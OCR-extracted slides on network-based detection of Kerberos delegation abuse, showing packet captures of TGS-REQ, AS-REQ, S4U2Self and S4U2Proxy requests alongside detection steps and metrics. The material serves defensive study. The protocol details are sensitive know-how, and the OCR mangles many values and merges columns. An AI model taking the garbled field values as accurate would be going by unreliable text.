SMB2 148 Tree Connect Request Tree: ‘\\dcBl\c%

SMB2 138 Tree Connect Response
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Detection: network-based (unconstrained)

TGS-REQ
Get TGS to target service

1. Get existing tickets
2. Analyze timestamps
3. Analyze Chame

4. Analyze Sname

% Kerberos

Record Mark: 1451
¥ tgs-req
pvno: 5

bytes

msg-type: krb-tgs-req (12)

¥ padata: 1 item

PA-DATA PA-TGS-REQ

¥ reqg-body
Padding: @

kdc-options: 4@3eeele (forwardable, renewable, renewable-ck)

¥ Cname

name-type: kRBS-NT-PRINCIPAL (1)

¥ cn

realms

%  sname

CNameString: Administrator

name-type: KkRBS-NT-SRV-INST (2)
¥ spame-string: 2 items
SNameString: cifs

SNamestring: DC@l
till: 2837-89-13 85:48:85 (UTC)
nonce: 18188548256
¥ etype: 4 items

ENCTYPE:
ENCTYPE:

ENCTYPE:
ENCTYPE:

eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
eTYPE-AES128-CTS-HMAC-SHAL-96 (17)
eTYPE-ARCFOUR-HMAC-MDS (23)
eTYPE-ARCFOUR-HMAC-MD5-56 (24)

Metrics:
Timestamp
Source IP
Account chame
Target sname
Etypes
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Detection: network-based (constrained)

¥ Kerberas

AS_REQ - :Zfi; Mark: 233 bytes

Get TGT service-sharepoint puno: 5

msg-type: krb-as-req (18)
padata: 2 items

¥ req-body
° ° e Padding: @
1' Get EX|St|ng tICkEts kdc-options: 48888818 (forwardable, renewable, renewable-ok)
. ¥ Ccname
2. Analyze t|me5tamps name_type: kRSS_NT_PRINCIPAL (1 Metrics:
» cname-string: 1 item
3. Analyze Cname CNameString: service-sharepoint Timestamp
realm: ct-media.phd
v sname Source IP
name-type: kRBS-NT-SRV-INST (2) Cname
¥ spname-string: 2 items
SNameString: krbtgt Etypes

SNameString: cf-media.phd
till: 2837-89-13 85:48:85 (UTC)
nonce: 1818848256
¥ ptype: 1 item
ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS (23)
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Detection: network-based (constrained)

’ KEF::EEfd Mark: 1577 bytes TGS'REQ (S4US€If)

¥ tgs-req

puno: S Get user TGS

msg-type: krb-tgs-req (12)
¥ padata: 2 items

¥ PA-DATA PA-TGS-REQ ¥ req-body
¥ padata-type: kRBS-PADATA-TGS-REQ (1) Padding: @
padata-value: 6e8284ff383204fbaBB38281852310302010:a326703050000... kdc-options: 48388818 (forwardable, renewable, renewable-ck, enc-tkt-in-skey)
¥ PA-DATA PA-FOR-USER % cCname
v padata-type: kRES-PADATA-FOR-USER (129) name-type: kRBS-NT-PRINCIPAL (1)
v padata-value: 3861a382538233083820103311c301albla41416c6573686e.. v i i
* name
name-type: kRBS-NT-ENTERPRISE-PRINCIPAL (1@) realm: -MEDIA . FRL
¥ Name- Hal=2: i +mm ¥ sname
name-type: kRB5-NT-PRINCIPAL (1) .
reallke T VS i piiian Metrics:
ckzum
auth: Kerberos till: : P Username

nonce: 15318848256

* GEt EXiSting tiCkEtS ey itE:'IS'YF‘E-ﬁ.ESEEE-CTS-Hu"'lﬂ.C-SHJ'-‘I.l-QE (18) TimeStamp

ENCTYPE:
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17) Source IP

. Analyze tlmEStampS ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS (23) Cname

ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS-56 (24)

1
2
3. Analyze target account name Shame
4. Analyze source account name

66



Detection: network-based (constrained)

TGS-REQ (S4UProxy)
Get user TGS to target service NameString: MSSQLSve

SNameString: db.cf-media.phd:1443
till: 2837-89-13 @5:48:85 (UTC)

¥ szname-string: 2 items

1. Get existing tickets nonce: 1318548256 Metrics:
Y etype: 3 items .

2. Analyze timestamps FI'EJN[T"HF'E: eTYPE-AES128-CTS-HMAC-SHAL-96 (17) TlmeStamp
ENCTYPE: eTYPE-AES256-CTS-HMAC-5HAL-96 t:lE:l Source |P
3. Analyze source account hname | STE: eTPEARCOR-HGCDS (23) Target sname
4. Analyze target account name L. . Source sname
realm: CF-MEDIA.PHD Etypes

Sna:Eme-type: kRBS-NT-PRINCIPAL (1)

[ stamestring: service-sharepoint)

VE - I

etype: eTYPE-ARCFOUR-HMAC-MDS (23)

kvno: 3
cipher: 112b8ldec65eda769bb5a88b521bd2e8812121643718493F..

67



summary

All forms of delegation are potentially dangerous if not
configured correctly.

@harmjOy



Links

posts.specterops.io
shenaniganslabs.io
adsecurity.org
harmjOy.net
dirkjanm.io



Questions?



